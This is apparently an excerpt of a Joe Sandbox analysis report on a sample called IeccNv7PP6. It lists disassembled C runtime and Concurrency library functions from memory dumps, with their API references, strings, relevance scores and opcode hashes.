Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: dff188c56af8bee3fd9e149c250172911bfba27409d3e3615d5ba8f14f079428
Instruction ID: 3301616ba49e08e9567a0d11fcae7dcb3337f6986f2c79fa24df931575f9f3c4
Opcode Fuzzy Hash: dff188c56af8bee3fd9e149c250172911bfba27409d3e3615d5ba8f14f079428
Instruction Fuzzy Hash: 141189B5610148BFDB01EF59C852CD93BA6EF44394B5141A9FD0A8F361E631EEA0DB84

Function 0042E1D2 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 200COMMONLIBRARYCODE

Download Yara Rule

APIs

__cftoe.LIBCMT ref: 0042E1FE
__cftoe.LIBCMT ref: 0042E230

Strings

f(@, xrefs: 0042E249, 0042E1E0
f(@, xrefs: 0042E27E, 0042E1EC, 0042E281

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: __cftoe
String ID: f(@$f(@
API String ID: 4189289331-2391611762
Opcode ID: bbe416c8d69575f9d93ce627a81c40a4a4bf106591ac0e44be9dd0909605bb26
Instruction ID: 3bb8b72b3fcb016b6809a9d2676edbb9e39e2dfdcc2cff5661f77b8cf8a8e7b7
Opcode Fuzzy Hash: bbe416c8d69575f9d93ce627a81c40a4a4bf106591ac0e44be9dd0909605bb26
Instruction Fuzzy Hash: 8F511B32600215EBDB249B5BAC41EAF77ADEF49325F90425FF815D6282DB3DD900867C

Function 004286F0 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 117COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 0042871B
___except_validate_context_record.LIBVCRUNTIME ref: 00428723
_ValidateLocalCookies.LIBCMT ref: 004287B1
__IsNonwritableInCurrentImage.LIBCMT ref: 004287DC
_ValidateLocalCookies.LIBCMT ref: 00428831

Strings

@fB, xrefs: 004287CE, 004287D7, 004287E8
11@, xrefs: 004287F5
csm, xrefs: 004287C6

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: 11@$@fB$csm
API String ID: 1170836740-1464837749
Opcode ID: be357bd56004c24e133951e3250c1e3ffc6610d741da1472be978505f667fff6
Instruction ID: 85514cbf9916709cbd5a6cdf55cb31cf47df2c82886cb460035ca25a3a5e93b8
Opcode Fuzzy Hash: be357bd56004c24e133951e3250c1e3ffc6610d741da1472be978505f667fff6
Instruction Fuzzy Hash: E6411634B012289BCF00DF29DC41A9E7BB1AF80328F64815FE8146B392DB399D11CB99

Function 04654AD4 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 104threadCOMMON

Download Yara Rule

APIs

Concurrency::details::ThreadProxy::SuspendExecution.LIBCMT ref: 04654AED

Part of subcall function 04654DBC: WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,00000000,04654820), ref: 04654DCC

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 04654B02
std::invalid_argument::invalid_argument.LIBCONCRT ref: 04654B11
__CxxThrowException@8.LIBVCRUNTIME ref: 04654B1F
Concurrency::details::FreeVirtualProcessorRoot::Affinitize.LIBCONCRT ref: 04654B95
std::invalid_argument::invalid_argument.LIBCONCRT ref: 04654BD5
__CxxThrowException@8.LIBVCRUNTIME ref: 04654BE3

Strings

11@, xrefs: 04654B43, 04654B64

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Exception@8FreeProcessorRoot::ThrowVirtualstd::invalid_argument::invalid_argument$AffinitizeExecutionIdleObjectProxy::ResetSingleSuspendThreadWait
String ID: 11@
API String ID: 3151764488-1785270423
Opcode ID: 5099532818571cbbdf9efb1b5aa3717eeed6167c85065a7cf9a3e62c5dc9f912
Instruction ID: bab077a5a8f8eeb8f4cafe58c95b4569db8ae3cb65e81e56a42968fed3c5475e
Opcode Fuzzy Hash: 5099532818571cbbdf9efb1b5aa3717eeed6167c85065a7cf9a3e62c5dc9f912
Instruction Fuzzy Hash: 6431C235A00215ABDF04EF68C880B6D73B9AB44214F2045A9DD15973A5FF70FA41C794

Function 046631B0 Relevance: 13.8, APIs: 9, Instructions: 300COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2096f585af2949bbcbeb02ba378e27ab7de49007c7775bea8d51a9bce3371cac
Instruction ID: 0b202015d029be0a1b6d59cf4298f362da6ba7bd17eee80e4631e788c6183e5a
Opcode Fuzzy Hash: 2096f585af2949bbcbeb02ba378e27ab7de49007c7775bea8d51a9bce3371cac
Instruction Fuzzy Hash: 72C1B370E04345AFDF12DFA8C840BADBBB5AF19314F044199EC16A7392E735B981CB65

Function 00430EE2 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00431EFA: GetLastError.KERNEL32(?,?,0042E005,00457910,00000010), ref: 00431EFE
Part of subcall function 00431EFA: _free.LIBCMT ref: 00431F31
Part of subcall function 00431EFA: SetLastError.KERNEL32(00000000), ref: 00431F72

_memcmp.LIBVCRUNTIME ref: 0043118C
_free.LIBCMT ref: 004311FD
_free.LIBCMT ref: 00431216
_free.LIBCMT ref: 00431248
_free.LIBCMT ref: 00431251
_free.LIBCMT ref: 0043125D

Strings

11@, xrefs: 004311DA

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: _free$ErrorLast$_memcmp
String ID: 11@
API String ID: 4275183328-1785270423
Opcode ID: e83dd170e9aceaa49a18aa447ce4e6aa2231a1eba3255cf494227ba5bae8955a
Instruction ID: ce7b668dfa5c2bb7c4e9a3ceca6e831dbf532e5f0ec0879f8663b0dec614f287
Opcode Fuzzy Hash: e83dd170e9aceaa49a18aa447ce4e6aa2231a1eba3255cf494227ba5bae8955a
Instruction Fuzzy Hash: ABB13975A016199FDB24DF18C894AAEB7B4FF08304F1086EEE949A7360D775AE90CF44

Function 04661149 Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 266COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 04662161: GetLastError.KERNEL32(?,?,0465AA0C,?,00000000,?,0465CE06,0463249A,00000000,?,00451F20), ref: 04662165
Part of subcall function 04662161: _free.LIBCMT ref: 04662198
Part of subcall function 04662161: SetLastError.KERNEL32(00000000,00000000,?,00451F20), ref: 046621D9

_free.LIBCMT ref: 04661464
_free.LIBCMT ref: 0466147D
_free.LIBCMT ref: 046614AF
_free.LIBCMT ref: 046614B8
_free.LIBCMT ref: 046614C4

Strings

C, xrefs: 046612B1
11@, xrefs: 04661441

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: _free$ErrorLast
String ID: 11@$C
API String ID: 3291180501-2085848483
Opcode ID: eed3b7bc2709ca3cbefa9e0eb2039d909a82c3add560d3625423817520cd7e58
Instruction ID: cdeeb49d875e9844b9a7c634764e48aea0236f9534d2024ea50bab15dcf9df66
Opcode Fuzzy Hash: eed3b7bc2709ca3cbefa9e0eb2039d909a82c3add560d3625423817520cd7e58
Instruction Fuzzy Hash: AEB13675A012199FDB24DF18C884AADB7B4FF59304F1085AEE94AA7350E731BE91CF44

Function 0465304B Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 106COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::SchedulerBase::GetRealizedChore.LIBCONCRT ref: 04653071

Part of subcall function 04648AD2: RtlInterlockedPopEntrySList.NTDLL(?), ref: 04648ADD

SafeSQueue.LIBCONCRT ref: 0465308A
Concurrency::location::_Assign.LIBCMT ref: 0465314A
std::invalid_argument::invalid_argument.LIBCONCRT ref: 0465316B
__CxxThrowException@8.LIBVCRUNTIME ref: 04653179

Strings

11@, xrefs: 04653120, 04653152

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: AssignBase::ChoreConcurrency::details::Concurrency::location::_EntryException@8InterlockedListQueueRealizedSafeSchedulerThrowstd::invalid_argument::invalid_argument
String ID: 11@
API String ID: 3496964030-1785270423
Opcode ID: 1108ac3f23d22df1866ed980c188d809bd5bf3cbbedc25416d83390793702934
Instruction ID: b75f40183d6f459138dc6d037ba622fe1dc9e83f6e398d87adbb1d5a20a1b24d
Opcode Fuzzy Hash: 1108ac3f23d22df1866ed980c188d809bd5bf3cbbedc25416d83390793702934
Instruction Fuzzy Hash: F431F231600A119FDB25EF75C890AAABBA4FF44B54F14455DDC068B3A1EB30F885CBD4

Function 0464C6E0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 45COMMONLIBRARYCODE

Download Yara Rule

APIs

atomic_compare_exchange.LIBCONCRT ref: 0464C6FC
atomic_compare_exchange.LIBCONCRT ref: 0464C720
std::_Cnd_initX.LIBCPMT ref: 0464C731
std::_Cnd_initX.LIBCPMT ref: 0464C73F

Part of subcall function 04631370: __Mtx_unlock.LIBCPMT ref: 04631377

std::_Cnd_initX.LIBCPMT ref: 0464C74F

Part of subcall function 0464C40F: __Cnd_broadcast.LIBCPMT ref: 0464C416

Concurrency::details::_RefCounter::_Release.LIBCONCRT ref: 0464C75D

Strings

11@, xrefs: 0464C70F

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: Cnd_initstd::_$atomic_compare_exchange$Cnd_broadcastConcurrency::details::_Counter::_Mtx_unlockRelease
String ID: 11@
API String ID: 4258476935-1785270423
Opcode ID: a9be804968ec124da136a858fa875f7bf6ea548f420eac5ce240c38f8c534d78
Instruction ID: 9a77539a664afeb23a728a2089bdc54976f8ef8dbc4b14c8c783c887916884dd
Opcode Fuzzy Hash: a9be804968ec124da136a858fa875f7bf6ea548f420eac5ce240c38f8c534d78
Instruction Fuzzy Hash: 5901DFB5901605ABFF20BB60CD44BADB758AF81318F140119E90097780FB78FB058699

Function 0040C63D Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 37COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 0040C69C

Strings

f(@, xrefs: 0040C640
ios_base::failbit set, xrefs: 0040C669
:3@, xrefs: 0040C680, 0040C68D, 0040C690
ios_base::badbit set, xrefs: 0040C65F, 0040C67F
ios_base::eofbit set, xrefs: 0040C66E
f(@, xrefs: 0040C676

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: Exception@8Throw
String ID: :3@$f(@$f(@$ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 2005118841-316725708
Opcode ID: 952463f700e975f9eb06248a0959d2f411cd4c1788934f8d026916f96b121d51
Instruction ID: d382e3a4140bff2bd7f1e847cb7cd930782ec9a0d5dc38d66c16a87299b4fd47
Opcode Fuzzy Hash: 952463f700e975f9eb06248a0959d2f411cd4c1788934f8d026916f96b121d51
Instruction Fuzzy Hash: 8BF0FC72900208AAC714DB54DC82BAB33589B15305F14857BED41BA1C2EA7DAD05C79C

Function 00432154 Relevance: 12.2, APIs: 8, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,0042D958,0042D958,?,?,?,004323A5,00000001,00000001,23E85006), ref: 004321AE
__alloca_probe_16.LIBCMT ref: 004321E6
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,004323A5,00000001,00000001,23E85006,?,?,?), ref: 00432234
__alloca_probe_16.LIBCMT ref: 004322CB
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,23E85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 0043232E
__freea.LIBCMT ref: 0043233B

Part of subcall function 004336C7: RtlAllocateHeap.NTDLL(00000000,0040D895,00000000,?,004267BE,00000002,00000000,00000000,00000000,?,0040CD46,0040D895,00000004,00000000,00000000,00000000), ref: 004336F9

__freea.LIBCMT ref: 00432344
__freea.LIBCMT ref: 00432369

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 3864826663-0
Opcode ID: b11f90d838427d37edd64e38e717b3af24babdf9d4b4099e4006f2966c914547
Instruction ID: a5f38111fa01d07f603b669534a8c8f44d85fc048aacd33138e2e818ffff9497
Opcode Fuzzy Hash: b11f90d838427d37edd64e38e717b3af24babdf9d4b4099e4006f2966c914547
Instruction Fuzzy Hash: B8513672600606AFDB258F75CD81EBF37A9EB48754F24426AFD04E6250DBBCDC40C658

Function 00439ECE Relevance: 10.7, APIs: 7, Instructions: 204COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00439F3D
_free.LIBCMT ref: 00439F4B
_free.LIBCMT ref: 0043A079
_free.LIBCMT ref: 0043A084

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 1c3dc1b9d9b3fad286da187fe857a54df99b30e252b8950e3012847a3cb02415
Instruction ID: 1cba7b180e09f8073ff63dd7a5e39a9331c2ed4ff1a144fb7a18fbb91be6d7aa
Opcode Fuzzy Hash: 1c3dc1b9d9b3fad286da187fe857a54df99b30e252b8950e3012847a3cb02415
Instruction Fuzzy Hash: 0761F071900205AFDB24DF69C842B9ABBF4EF09710F10516BE884EB382E7799E418B59

Function 0466A135 Relevance: 10.7, APIs: 7, Instructions: 204COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 0466A1A4
_free.LIBCMT ref: 0466A1B2
_free.LIBCMT ref: 0466A2E0
_free.LIBCMT ref: 0466A2EB

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 30d23d355d895f70cd8acfb134f092bcee01e0337bd1769fb6490f5a84f9f64a
Instruction ID: aff0f7ba628578b8f247c3bc477aad812ec077b7f1c398a3202925db24f54d9a
Opcode Fuzzy Hash: 30d23d355d895f70cd8acfb134f092bcee01e0337bd1769fb6490f5a84f9f64a
Instruction Fuzzy Hash: 5061A371A00205AFDB20DFA8C841B9ABBF5EB46710F1441AEED46FB345F771B9418B94

Function 004338A3 Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,0042C25D,E0830C40,?,?,?,?,?,?,00434018,0040DDFA,0042C25D,?,0042C25D,0042C25D,0040DDFA), ref: 004338E5
__fassign.LIBCMT ref: 00433960
__fassign.LIBCMT ref: 0043397B
WideCharToMultiByte.KERNEL32(?,00000000,0042C25D,00000001,?,00000005,00000000,00000000), ref: 004339A1
WriteFile.KERNEL32(?,?,00000000,00434018,00000000,?,?,?,?,?,?,?,?,?,00434018,0040DDFA), ref: 004339C0
WriteFile.KERNEL32(?,0040DDFA,00000001,00434018,00000000,?,?,?,?,?,?,?,?,?,00434018,0040DDFA), ref: 004339F9

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 104bec089efa8ddbbf106d3ba7b26555e8bb7f605cb6606e0c3875e27b37aebe
Instruction ID: 3302cc5d055cfa7cb2d102f804d659735755d65fc8cb0b0a8ea62d8a9f37e22e
Opcode Fuzzy Hash: 104bec089efa8ddbbf106d3ba7b26555e8bb7f605cb6606e0c3875e27b37aebe
Instruction Fuzzy Hash: 1E51B3B09002499FCB10DFA8D845BEEBBF4EF09701F14412BE556E7391E7349A51CB69

Function 04663B0A Relevance: 10.7, APIs: 7, Instructions: 152fileCOMMON

Download Yara Rule

APIs

GetConsoleCP.KERNEL32(?,0465C4C4,E0830C40,?,?,?,?,?,?,0466427F,0463E061,0465C4C4,?,0465C4C4,0465C4C4,0463E061), ref: 04663B4C
__fassign.LIBCMT ref: 04663BC7
__fassign.LIBCMT ref: 04663BE2
WideCharToMultiByte.KERNEL32(?,00000000,0465C4C4,00000001,?,00000005,00000000,00000000), ref: 04663C08
WriteFile.KERNEL32(?,?,00000000,0466427F,00000000,?,?,?,?,?,?,?,?,?,0466427F,0463E061), ref: 04663C27
WriteFile.KERNEL32(?,0463E061,00000001,0466427F,00000000,?,?,?,?,?,?,?,?,?,0466427F,0463E061), ref: 04663C60

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: c9ec468ed5257d0217e44f77c4afa4e16cabb00b598963834898839e2c0f3bac
Instruction ID: 906947deba46f60b58511cf73cc9621d885b63a44f480eee1a732ef00ee0f034
Opcode Fuzzy Hash: c9ec468ed5257d0217e44f77c4afa4e16cabb00b598963834898839e2c0f3bac
Instruction Fuzzy Hash: 3851B8B4E00205AFDB10CFA8D885AEEBBF8EF59700F14415AE956E7391F730A591CB64

Function 0464B14D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 0464B172

Part of subcall function 046411A8: _SpinWait.LIBCONCRT ref: 046411C0

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 0464B186
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 0464B1B8
List.LIBCMT ref: 0464B23B
List.LIBCMT ref: 0464B24A

Strings

6+A, xrefs: 0464B168

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID: 6+A
API String ID: 3281396844-2819411039
Opcode ID: 6ffcc6e76adf532cd1f074ee0a3a399835260594ca9526c60de83cd6ea276e11
Instruction ID: b3fd1bba29c398e5c6bb8dd419ebdcddeac5a338075ca763534d22e9835e52d6
Opcode Fuzzy Hash: 6ffcc6e76adf532cd1f074ee0a3a399835260594ca9526c60de83cd6ea276e11
Instruction Fuzzy Hash: 96317832E05656DFEF14EFA4D9906EDBBB0BF95B08F04006EC80167650EB71B914CB98

Function 0043F961 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 26fd24188a083ade74c1b847c8e385b80c443176beafc5e0d5befa98fb89b42a
Instruction ID: 44ae7d58254669835104620532439e4651bcdc670411f054606b0734315a2d03
Opcode Fuzzy Hash: 26fd24188a083ade74c1b847c8e385b80c443176beafc5e0d5befa98fb89b42a
Instruction Fuzzy Hash: B3112772A00215BFCB212FB3AC05E6B7A5CEF8A725F10063BF815D7240DA38890486A9

Function 0466FBC8 Relevance: 10.6, APIs: 7, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32159607c4063c2e90e18d1ced7cd03c6b33762cae1000625b4156809b17c3e4
Instruction ID: 7e50c32a06481af58033f3857f28c281106954b95cca2a1a2961d9b2215ce320
Opcode Fuzzy Hash: 32159607c4063c2e90e18d1ced7cd03c6b33762cae1000625b4156809b17c3e4
Instruction Fuzzy Hash: 7811D6B1604215BFEB242FB6EC44D6B7A9CEF86764B100729FC16C7250FA31A901C6A4

Function 0043A3A3 Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0043A0EA: _free.LIBCMT ref: 0043A113

_free.LIBCMT ref: 0043A3F1

Part of subcall function 0043348A: HeapFree.KERNEL32(00000000,00000000,?,0043A118,?,00000000,?,00000000,?,0043A3BC,?,00000007,?,?,0043A7B0,?), ref: 004334A0
Part of subcall function 0043348A: GetLastError.KERNEL32(?,?,0043A118,?,00000000,?,00000000,?,0043A3BC,?,00000007,?,?,0043A7B0,?,?), ref: 004334B2

_free.LIBCMT ref: 0043A3FC
_free.LIBCMT ref: 0043A407
_free.LIBCMT ref: 0043A45B
_free.LIBCMT ref: 0043A466
_free.LIBCMT ref: 0043A471
_free.LIBCMT ref: 0043A47C

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b7590f4111be71bf3afae53295ff9af9b533932b666efaf04c0ab8a9c80b4b90
Instruction ID: c6d5b65f25628cde0ea29edd4ff893f52e85bca0f905c5b3a1529a10dd86fb4b
Opcode Fuzzy Hash: b7590f4111be71bf3afae53295ff9af9b533932b666efaf04c0ab8a9c80b4b90
Instruction Fuzzy Hash: 3311A232580B04A6D521BF72CC07FCB77AC6F2C306F40981EB6DA7A052CA6EB5105B46

Function 0466A60A Relevance: 10.6, APIs: 7, Instructions: 65COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0466A351: _free.LIBCMT ref: 0466A37A

_free.LIBCMT ref: 0466A658

Part of subcall function 046636F1: HeapFree.KERNEL32(00000000,00000000,?,0466A37F,?,00000000,?,00000000,?,0466A623,?,00000007,?,?,0466AA17,?), ref: 04663707
Part of subcall function 046636F1: GetLastError.KERNEL32(?,?,0466A37F,?,00000000,?,00000000,?,0466A623,?,00000007,?,?,0466AA17,?,?), ref: 04663719

_free.LIBCMT ref: 0466A663
_free.LIBCMT ref: 0466A66E
_free.LIBCMT ref: 0466A6C2
_free.LIBCMT ref: 0466A6CD
_free.LIBCMT ref: 0466A6D8
_free.LIBCMT ref: 0466A6E3

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: b7590f4111be71bf3afae53295ff9af9b533932b666efaf04c0ab8a9c80b4b90
Instruction ID: 3d0d53d8bf300527cab0d5462b92b7d88c360ce27053ec36e8f2fb1833273ab9
Opcode Fuzzy Hash: b7590f4111be71bf3afae53295ff9af9b533932b666efaf04c0ab8a9c80b4b90
Instruction Fuzzy Hash: 96118E71680B04ABEA20BBF9CC46FCB779DEF42744F44081CB69BF6250FA64F5548668

Function 00412412 Relevance: 10.6, APIs: 7, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?), ref: 00412420
GetLastError.KERNEL32 ref: 00412426
GetLogicalProcessorInformation.KERNEL32(00000000,?), ref: 00412453
GetLastError.KERNEL32 ref: 0041245D
GetLastError.KERNEL32 ref: 0041246F
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00412485
__CxxThrowException@8.LIBVCRUNTIME ref: 00412493

Memory Dump Source

Source File: 00000000.00000002.4135927092.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IeccNv7PP6.jbxd

Similarity

API ID: ErrorLast$InformationLogicalProcessor$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorException@8Throw
String ID:
API String ID: 4227777306-0
Opcode ID: 98e3d6891a0dd5d677cbf2f779bc3de9b57089e9d4dcd81604344dd870270d4b
Instruction ID: 772dfc6c110a2a8534dac99729108f53ec46fdbd0e11e7149f9ef709963b67bd
Opcode Fuzzy Hash: 98e3d6891a0dd5d677cbf2f779bc3de9b57089e9d4dcd81604344dd870270d4b
Instruction Fuzzy Hash: 56012B34A00125B7C720AF66ED09BEF376CEF42B52B60443BF805D2151DBACDA54866D

Function 04642679 Relevance: 10.6, APIs: 7, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLogicalProcessorInformation.KERNEL32(00000000,?), ref: 04642687
GetLastError.KERNEL32 ref: 0464268D
GetLogicalProcessorInformation.KERNEL32(00000000,?), ref: 046426BA
GetLastError.KERNEL32 ref: 046426C4
GetLastError.KERNEL32 ref: 046426D6
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 046426EC
__CxxThrowException@8.LIBVCRUNTIME ref: 046426FA

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

API ID: ErrorLast$InformationLogicalProcessor$Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorException@8Throw
String ID:
API String ID: 4227777306-0
Opcode ID: 23aee74c988fd39cb7eacc8cccc5b930dc7cceb5caf4327195496d093c37fa26
Instruction ID: 69e73d3f872ac4dfb6e7f0d22122a783e9dfda50a39c052f656a7db93abe59c7
Opcode Fuzzy Hash: 23aee74c988fd39cb7eacc8cccc5b930dc7cceb5caf4327195496d093c37fa26
Instruction Fuzzy Hash: D0018F35701115A7EB10AF65EC58AAF3768AF82AD6B70046AF405E2160FB24F60496AC

Function 046424C4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll,?,00000000,00000000,?,?,?,0464672B), ref: 046424D6
GetProcAddress.KERNEL32(00000000,00446CDC), ref: 046424E4
GetProcAddress.KERNEL32(00000000,00446CF4), ref: 046424F2
GetModuleHandleW.KERNEL32(kernel32.dll,00446D0C,?,?,?,0464672B), ref: 04642520
GetProcAddress.KERNEL32(00000000), ref: 04642527
GetLastError.KERNEL32(?,?,?,0464672B), ref: 04642542
GetLastError.KERNEL32(?,?,?,0464672B), ref: 0464254E
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 04642564
__CxxThrowException@8.LIBVCRUNTIME ref: 04642572

Strings

kernel32.dll, xrefs: 046424D0, 046424D5, 0464251A

Memory Dump Source

Source File: 00000000.00000002.4139050251.0000000004630000.00000040.00001000.00020000.00000000.sdmp, Offset: 04630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4630000_IeccNv7PP6.jbxd

Yara matches

Similarity

